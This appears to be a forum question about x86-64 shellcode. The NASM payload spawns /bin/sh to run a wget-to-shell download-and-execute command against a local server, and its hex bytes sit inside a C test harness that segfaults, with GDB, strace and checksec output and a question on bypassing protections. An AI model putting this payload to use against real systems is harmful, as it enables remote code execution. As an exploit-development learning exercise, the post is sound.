I wrote a NASM program that uses the execve
system call to run wget
inside a newly spawned shell and execute the retrieved page:
[bits 64]
global _start
section .text
_start:
xor rcx, rcx
push rcx ; first 4
mov rcx, "/bin//sh"
push rcx ; second 4 (8)
mov rdi, rsp ; /bin/sh
xor rcx, rcx ; "/bin/sh"
push rcx
mov rcx, "/bin//sh"
push rcx
mov rdx, rsp ; save to rdx
xor rcx, rcx ; "-c"
push rcx
mov cx, "-c"
push rcx
mov rbx, rsp ; save to rbx
xor rcx, rcx ; "/bin/wget 127.0.0.1:8000/response.txt -O - | sh"
push rcx
mov rcx, " - | sh "
push rcx
xor rcx, rcx
mov rcx, "e.txt -O"
push rcx
xor rcx, rcx
mov rcx, "/respons"
push rcx
xor rcx, rcx
mov rcx, "0.1:8000"
push rcx
xor rcx, rcx
mov rcx, "t 127.0."
push rcx
xor rcx, rcx
mov rcx, "/bin/wge"
push rcx
mov rax, rsp ; save to rax
xor rcx, rcx
push rcx
push rax
push rbx
push rdx
xor rax, rax
mov al, 59
mov rsi, rsp
xor rdx, rdx
cdq
syscall
When compiled and linked with nasm -f elf64 file.asm && ld file.o -o file
, the resulting binary works without a problem on my 5.15.0 kernel
$ ./ev_shellcode
--2022-09-25 04:54:57-- http://127.0.0.1:8000/response.txt
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22 [text/plain]
Saving to: 'STDOUT'
- 100%[================================================================================================================>] 22 --.-KB/s in 0s
2022-09-25 04:54:57 (1.83 MB/s) - written to stdout [22/22]
However, when I try to include this program as shellcode in C, I get a segfault
(compiled with gcc -Wall --std=c99 -g -O0 -m64 -no-pie -z execstack -fno-stack-protector shellcode_test.c -o shellcode_test
)
#include <unistd.h>
#include <sys/mman.h>
#include <unistd.h>
const char shellcode[] = "\x48\x31\xc9\x51\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe7\x48\x31\xc9\x51\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe2\x48\x31\xc9\x51\x66\xb9\x2d\x63\x51\x48\x89\xe3\x48\x31\xc9\x51\x48\xb9\x20\x2d\x20\x7c\x73\x68\x20\x51\x48\x31\xc9\x48\xb9\x65\x2e\x74\x78\x20\x2d\x4f\x51\x48\x31\xc9\x48\xb9\x2f\x72\x65\x73\x6f\x6e\x73\x51\x48\x31\xc9\x48\xb9\x30\x2e\x31\x3a\x30\x30\x30\x51\x48\x31\xc9\x48\xb9\x74\x20\x31\x32\x2e\x30\x2e\x51\x48\x31\xc9\x48\xb9\x2f\x62\x69\x6e\x77\x67\x65\x51\x48\x89\xe0\x48\x31\xc9\x51\x50\x53\x52\x48\x31\xc0\xb0\x3b\x48\x89\xe6\x48\x31\xd2\x99\x0f\x05";
int main() {
long page_size = sysconf(_SC_PAGESIZE);
void *page_start = (void *) ((long) shellcode & -page_size);
if (mprotect(page_start, page_size * 2, PROT_READ | PROT_EXEC)) {
perror("mprotect");
} else {
(*(void(*)())shellcode)();
}
}
~
GDB-GEF:
Program received signal SIGSEGV, Segmentation fault.
0x00000000004020bc in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xfffffffffffffffe
$rbx : 0x007fffffffdd68 → 0x0000000000632d ("-c"?)
$rcx : 0x000000004020b5 → <shellcode+149> add BYTE PTR [rbp+0x70], ch
$rdx : 0x0
$rsp : 0x007fffffffdd40 → 0x007fffffffdd78 → 0x0000000000000000
$rbp : 0x007fffffffdda0 → 0x0000000000000001
$rsi : 0x007fffffffdd40 → 0x007fffffffdd78 → 0x0000000000000000
$rdi : 0x007fffffffdd80 → 0x0000000000000000
$rip : 0x000000004020bc → 0x3b031b0100007463 ("ct"?)
$r8 : 0x007ffff7f8bf10 → 0x0000000000000004
$r9 : 0x007ffff7fc9040 → <_dl_fini+0> endbr64
$r10 : 0x007ffff7d792e0 → 0x000f0022000056ec
$r11 : 0x246
$r12 : 0x007fffffffdeb8 → 0x007fffffffe227 → "/home/user/Desktop/playground/ASM/shellcode_test"
$r13 : 0x00000000401176 → <main+0> endbr64
$r14 : 0x00000000403e18 → 0x00000000401140 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x007ffff7ffd040 → 0x007ffff7ffe2e0 → 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd40│+0x0000: 0x007fffffffdd78 → 0x0000000000000000 ← $rsp, $rsi
0x007fffffffdd48│+0x0008: 0x007fffffffdd68 → 0x0000000000632d ("-c"?)
0x007fffffffdd50│+0x0010: 0x007fffffffdd60 → 0x0000000000000000
0x007fffffffdd58│+0x0018: 0x0000000000000000
0x007fffffffdd60│+0x0020: 0x0000000000000000
0x007fffffffdd68│+0x0028: 0x0000000000632d ("-c"?) ← $rbx
0x007fffffffdd70│+0x0030: 0x0000000000000000
0x007fffffffdd78│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4020b5 <shellcode+149> add BYTE PTR [rbp+0x70], ch
0x4020b8 jb 0x402129
0x4020ba je 0x402121
→ 0x4020bc movsxd esi, DWORD PTR [rax+rax*1+0x0]
0x4020c0 <__GNU_EH_FRAME_HDR+0> add DWORD PTR [rbx], ebx
0x4020c2 <__GNU_EH_FRAME_HDR+2> add edi, DWORD PTR [rbx]
0x4020c4 <__GNU_EH_FRAME_HDR+4> xor al, 0x0
0x4020c6 <__GNU_EH_FRAME_HDR+6> add BYTE PTR [rax], al
0x4020c8 <__GNU_EH_FRAME_HDR+8> add eax, 0x60000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode_test", stopped 0x4020bc in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4020bc → movsxd esi, DWORD PTR [rax+rax*1+0x0]
[#1] 0x7fffffffdd78 → add BYTE PTR [rax], al
[#2] 0x7fffffffdd68 → sub eax, 0x63
[#3] 0x7fffffffdd60 → add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
strace:
strace ./shellcode_test
execve("./shellcode_test", ["./shellcode_test"], 0x7fffffffdf20 /* 59 vars */) = 0
brk(NULL) = 0x405000
arch_prctl(0x3001 /* ARCH_??? */, 0x7fffffffdd50) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fbb000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=136203, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 136203, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7f99000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0 \0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0"..., 48, 848) = 48
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0i8\235HZ\227\223\333\350s\360\352,\223\340."..., 68, 896) = 68
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2216304, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2260560, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7d71000
mmap(0x7ffff7d99000, 1658880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7ffff7d99000
mmap(0x7ffff7f2e000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7ffff7f2e000
mmap(0x7ffff7f86000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x214000) = 0x7ffff7f86000
mmap(0x7ffff7f8c000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7f8c000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7d6e000
arch_prctl(ARCH_SET_FS, 0x7ffff7d6e740) = 0
set_tid_address(0x7ffff7d6ea10) = 238779
set_robust_list(0x7ffff7d6ea20, 24) = 0
rseq(0x7ffff7d6f0e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7ffff7f86000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffb000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7ffff7f99000, 136203) = 0
mprotect(0x402000, 8192, PROT_READ|PROT_EXEC) = 0
execve("", ["", "-c", ""], NULL) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
checksec:
Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : Partial
Is this a new protection feature by Linux or GCC? If so, is there a way to bypass it?